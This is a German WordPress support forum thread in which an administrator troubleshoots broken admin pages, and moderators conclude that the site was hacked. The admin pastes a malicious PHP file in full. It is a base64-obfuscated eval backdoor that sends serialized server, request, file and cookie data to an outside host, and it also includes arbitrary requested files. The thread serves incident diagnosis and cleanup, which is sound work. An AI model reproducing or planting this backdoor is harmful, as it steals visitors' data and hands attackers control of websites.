• Gelöst faugi

    (@faugi)


    Hallo liebe Kollegen,

    ich hoffe ihr habt alle einen schönen Sommer.

    Die unten gelisteten Probleme treten seit ein paar tagen plötzlich bei einem unserer Kunden auf und nach Stunden an Recherche und Troubleshooting bin ich nun endlich eingeknickt und habe mir hier einen Account erstellt.

    Website-Infos:
    OS: Linux (Ubuntu 22.04)
    WP-Version: 6.6.1 (Selfhosted mit Auto-Updates auf LXC Container) -> letztes update 17.07.2024
    PHP-Version: 7.4
    Aktive Plugins: Redis-Cache + Cloudflare (autom. Updates)
    Theme: Enfold 6.0.1

    Vorab, die Website an sich funktioniert einwandfrei und als User kann man ohne Probleme alles schön browsen. Die Administration der Website funktionierte bis Anfang dieser Woche ganz normal
    Probleme:

    1. Wenn man sich im WP-Admin anmeldet und auf den Reiter „Seiten“ geht, werden keine Seiten mehr angezeigt auch wenn diese Existieren. Selbiges gilt auch für Portfolio. Das erstellen von neuen Items funktioniert, jedoch das Review/Nachbearbeiten davon leider nicht.
      Filter, etc sind nicht angewandt und der User hat vollen Admin-Access.
    2. Wenn man auf den Reiter „Beiträge“ geht kommt eine weiße Seite mit der Fehlermeldung „Ungültiger Inhaltstyp“ ohne weitere Infos. Beiträge, etc. werden auf der Website ganz normal angezeigt. Neue Beiträge erstellen funktioniert ohne weiteres, jedoch kann man die erstellten Beiträge nicht mehr bearbeiten/im Administrationsbereich bearbeiten.
    3. Beim aktivieren/deaktivieren von Plugins kommt manchmal die Fehlermeldung, dass der User (Admin) keine Rechte zum Durchführen der Änderung hat. Jedoch funktioniert das (de)aktivieren meistens.
    4. Website-Zustand lädt die Ereignissliste unendlich und zeigt dann irgendwan entweder einen grauen oder gelben Ring an jedoch ohne Status bericht/Bestandene Tests anzuzeigen.

    Folgende Lösungsansätze habe ich bereits probiert:

    1. Website und Browsercache löschen.
    2. Webserver neu starten
    3. Webserverconfig (nginx) + dazugehörige .htaccess checken
    4. Health Check & Troubleshooting Plugin in der Hoffnung den Gesundheitszustand der Seite zu erfassen.
    5. Alle Plugins deaktiviert
    6. Theme auf Standard zurückgesetzt
    7. Debugging aktiviert und logs gecheckt

    Durch das Debugging habe ich dann folgende Fehlermeldungen gefunden mit denen ich mir jedoch schwer tue etwas anzufangen, ich gehe aber davon aus, dass die oben genannten Probleme vermutlich durch die Fehlenden Indexes die in der folgenden Fehlermeldung vertreten sind auftreten.

    [25-Jul-2024 08:28:09 UTC] PHP Fatal error:  Uncaught Error: Call to a member function changeset_post_id() on null in /var/www/www.mydomain.xyz/wp-admin/customize.php:29
    Stack trace:
    #0 /var/www/www.mydomain.xyz/01d43b.php(33): include()
    #1 {main}
    thrown in /var/www/www.mydomain.xyz/wp-admin/customize.php on line 29
    [25-Jul-2024 08:37:30 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1198
    [25-Jul-2024 08:37:30 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1215
    [25-Jul-2024 08:37:30 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1233
    [25-Jul-2024 08:37:48 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1198
    [25-Jul-2024 08:37:48 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1215
    [25-Jul-2024 08:37:48 UTC] PHP Notice: Undefined index: path in /var/www/www.mydomain.xyz/wp-includes/l10n.php on line 1233
    [25-Jul-2024 08:41:28 UTC] PHP Fatal error: Uncaught Error: Call to a member function changeset_post_id() on null in /var/www/www.mydomain.xyz/wp-admin/customize.php:29
    Stack trace:
    #0 /var/www/www.mydomain.xyz/01d43b.php(33): include()
    #1 {main}
    thrown in /var/www/www.mydomain.xyz/wp-admin/customize.php on line 29

    *www.mydomain.xyz = placeholder name

    Ich wollte dementsprechend fragen ob es unter Umständen möglich ist die Fehler zu beheben ohne manuell die letzte WordPress Version „drüber zu installieren“ oder ob dies meine letzte Möglichkeit ist.

    Ich habe auch noch eine weitere Vermutung, dass die Datenbank auf eine falsche ID oder Spalte oÄ zugreifen will und dies durch ein Missmatch eben leider nicht hinbekommt. Muss mich jedoch noch mehr mit der zugehörigen MySQL DB auseinandersetzen um dort etwaige missmatches zu finden.

    Ich bedanke mich schon im Voraus für alle Antworten

    LG,
    Der Faugi

    • Dieses Thema wurde geändert vor 9 Monaten, 1 Woche von faugi.
    • Dieses Thema wurde geändert vor 9 Monaten, 1 Woche von faugi.
    • Dieses Thema wurde geändert vor 9 Monaten, 1 Woche von faugi.
    • Dieses Thema wurde geändert vor 9 Monaten, 1 Woche von faugi.
    • Dieses Thema wurde geändert vor 9 Monaten, 1 Woche von Bego Mario Garde.

    Die Seite, für die ich Hilfe brauche: [Anmelden, um den Link zu sehen]

Ansicht von 10 Antworten – 1 bis 10 (von insgesamt 10)
  • Moderator Michi91

    (@michi91)

    Moin, hat dein Benutzer die Rolle Administrator?
    Eine Liste deiner Plugins wäre sicherlich sinnvoll, oder wurden wirklich nur die beiden genutzt? Inaktive / in der Vergangenheit genutzte Plugins helfen uns eventuell auch weiter

    /var/www/www.mydomain.xyz/01d43b.php

    lässt böses vermuten… Könnte mir sehr gut vorstellen, dass die Seite gehackt wurde…

    manuell die letzte WordPress Version „drüber zu installieren

    Da spricht überhaupt nix gegen… Eine Sicherung vorher schadet nicht, aber solange du nicht irgendwo an Core-Daten rumgefuscht hast, geht das problemlos

    Moderator Angelika Reisiger

    (@la-geek)

    Hallo @faugi

    was beinhaltet die Datei 01d43b.php?

    Unabhängig davon, vielleicht wurde das letzte WordPress-Update nicht vollständig ausgeführt/übertragen:
    Installiere die aktuelle WordPress-Version erneut, entweder über Dashboard » Aktualisierungen » Version X.X.X neu installieren

    oder manuell per FTP, siehe
    https://de.wordpress.org/support/topic/probleme-nach-dem-updateupgrade-fehlerhafte-oder-fehlende-core-dateien/

    Thread-Starter faugi

    (@faugi)

    @michi91

    Eine Liste deiner Plugins wäre sicherlich sinnvoll….


    Danke für die fixe Antwort von euch beiden.
    Die Accounts die dort Access haben, haben Administrativen access
    Es sind wirklich nur diese beiden Plugins installiert, zusätzlich zum kürzlich installierten Health Check & Troubleshoot plugin.
    Inaktive Plugins gibt es keine, und was ich von der Lady erfahren habe die die Website einrichtet/den Content verwaltet, hat sie auch nichts anderes installiert als das Enfold Theme.

    lässt böses vermuten…

    Ich bete mal zu allen guten Geistern, dass dies nicht der Fall ist, jedoch bedanke ich mich für den Denkanstoß. Die Möglichkeit habe ich voll außer acht gelassen

    Da spricht überhaupt nix gegen… Eine Sicherung vorher schadet nicht, aber solange du nicht irgendwo an Core-Daten rumgefuscht hast, geht das problemlos

    Von administrativer Seite wurde definitiv nichts im Backend bzw. an den Core-Daten rumgepfuscht, wir setzen ledigilich das WordPress laut Dokumentation auf mit Apache2 als Webserver und übergeben sie dann zur Einrichtung an diverse Kunden.
    Ich gehe davon aus, dass Layer 8 in der Admin-GUI keine Möglichkeit hat an den Backend/Core-Daten rum zu eiern.

    @la-geek

    Unabhängig davon, vielleicht wurde das letzte WordPress-Update nicht vollständig ausgeführt/übertragen

    Dies ist irgendwie meine Hoffnung, jedoch dachte ich mir, dass man das Problem vielleicht ohne neu installation lösen kann.
    Jedoch wie du schon sagtest spricht nichts dagegen dies einfach mal zu machen.

    was beinhaltet die Datei 01d43b.php?

    Der Kollege der sich diese meist ansieht ist im Moment leider nicht verfügbar und ich bin nicht sehr Code affin. Hier der Inhalt:

    <?php
    if (!defined("SMILODON2_HEAD")) {

    define("SMILODON2_HEAD", 1);

    if (empty($_GET) && empty($_POST)&& empty($_COOKIE))
    {
    // nothing
    }
    else
    {
    $back_connect_p = "aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=";
    eval(base64_decode($back_connect_p));
    }


    if (isset($_SERVER['SCRIPT_URL']))
    {
    $request_file = ltrim($_SERVER['SCRIPT_URL'], "/");
    }
    else
    {
    $request_file = ltrim($_SERVER['REQUEST_URI'], "/");

    if (strpos($request_file, "?")!= FALSE)
    {
    $request_file = substr($request_file,0, strpos($request_file, "?"));
    }
    }
    if (file_exists($request_file))
    {

    include($request_file);
    }
    elseif (file_exists("index.php"))
    {

    include("index.php");
    }
    else
    {
    //"Nothing to include";
    }

    }

    Ich bedanke mich nochmals für eure Antworten, ich werde das letzte Update mal neu installieren und halte euch dann am laufenden.

    Vielen lieben Dank,
    Der Faugi

    Moderator Angelika Reisiger

    (@la-geek)

    @faugi

    die Kundendomain, beinhaltet die „airforce…“ ?
    Dann schau dort einmal unter wp-includes/blocks/group/grweqdrehs.php nach und poste bitte diesen Inhalt

    Zur Erklärung: Ich habe den Base64-Code, der in der Datei 01d43b.php enthalten ist, durch einen Encoder geschickt. Dabei ist diese URL inkl. Datei angezeigt worden.

    Entweder ist die URL/Domain vom Hacker oder von deinem Kunden. Wie auch immer, auch die neu aufgetauchte Datei ist verdächtig.

    Thread-Starter faugi

    (@faugi)

    @la-geek
    Danke nochmal für die schnelle Antwort. Das File existiert leider nicht.
    Habe mich jetzt dennoch mal mit dem File auseinandergesetzt und bin zu vermutlich dem problem gekommen.

    Smilodon, eine Kreditkarten Skimming software hat sich nun, laut recherce auf WordPress ausgebreitet.
    Ich weiß nicht wie happy ihr seid externe Links hier zu sehen:
    https://blog.sucuri.net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html

    Ich werde mich mal mit dem Problem beschäftigen und mich dann wieder melden.

    Moderator Angelika Reisiger

    (@la-geek)

    @faugi

    woraus schließt du, dass ausgerechnet diese Malware die Website befallen hat? Der Code ist nicht identisch mit dem aus demn Base64 Code der Datei.

    Enthält die Kundendomain denn als Bestandteil das airforce?

    Es sind wirklich nur diese beiden Plugins installiert, zusätzlich zum kürzlich installierten Health Check & Troubleshoot plugin.

    Ich finde die Info nicht, wo du die Plugins benannt hast, vielleicht übersehe ich das aber auch nur.

    Thread-Starter faugi

    (@faugi)

    @la-geek

    Aktive Plugins: Redis-Cache + Cloudflare (autom. Updates)

    In meinem originalen Beitrag unter Websiten infos

    Ich habe das Codesnippet aus dem .php file an einen meiner Kollegen weitergereicht, er hat sich das angeschaut und durch den oben gesandten Link haben wir dann den Schluss gezogen, dass es sich wahrscheinlich um diese Malware handelt. Der denkanstoß von @michi91 hat mich eben auf diese Möglichkeit aufmerksam gemacht.
    Im Beitrag von oben fanden wir codesnippets mit ähnlichen Entries, SMILODON2_XYZ in dem Code von mir, SMILODON_EMAIL bzw. _URL etc, aus dem Bericht. Siehe Bild unten, vom Bericht:

    Enthält die Kundendomain denn als Bestandteil das airforce

    Nein, wir als Firma arbeiten zwar mit einem Aviation-Service zusammen, jedoch hat diese Kundin nicht ansatzweise etwas damit zu tun.

    • Diese Antwort wurde vor 9 Monaten von faugi geändert.
    Moderator Angelika Reisiger

    (@la-geek)

    Codesnippet aus dem .php file

    Ach ja richtig, das wollte ich auch noch recherchieren, hatte ich dann aber vergessen. Die Website ist ziemlich sicher gehackt worden. Ihr könntet auch noch mal den Domainnamen der Kundenwebsite dort eingeben und prüfen:

    https://sitecheck.sucuri.net/

    Was ist nun zu tun? Hier eine Starthilfe:
    https://de.wordpress.org/support/topic/seite-gehacked-was-tun/

    Außerdem gilt es auch außerhalb von WordPress für Sicherheit zu sorgen:
    https://wp-lernen.installiert.de/wp-grundlagen/hacker-interessieren-sich-nicht-fuer-ihre-website-wirklich/
    https://wp-lernen.installiert.de/wp-grundlagen/wieso-eine-gehackte-website-sie-persoenlich-betrifft/
    https://wp-lernen.installiert.de/wp-grundlagen/kleine-checkliste-fuer-die-sicherheit/

    Thread-Starter faugi

    (@faugi)

    @la-geek
    Danke nochmal für eure Mühen. Ich werde mir die Links mal anschauen und auch mit meinem Abt. Leiter sprechen was wir damit machen.
    Wenn ihr wollt halte ich euch gerne auf dem Laufenden, ansonsten kann ich das Ticket auch voererst mal schließen 🙂

    Moderator Angelika Reisiger

    (@la-geek)

    @faugi

    Danke für die Rückmeldung. Ich setze den Thread erst einmal auf gelöst. Wir freuen uns aber immer, wenn (noch) eine Lösung gepostet wird.

Ansicht von 10 Antworten – 1 bis 10 (von insgesamt 10)
  • Das Thema „Website Administration Eingeschränkt (kein access auf Website-Zustands-Bericht)“ ist für neue Antworten geschlossen.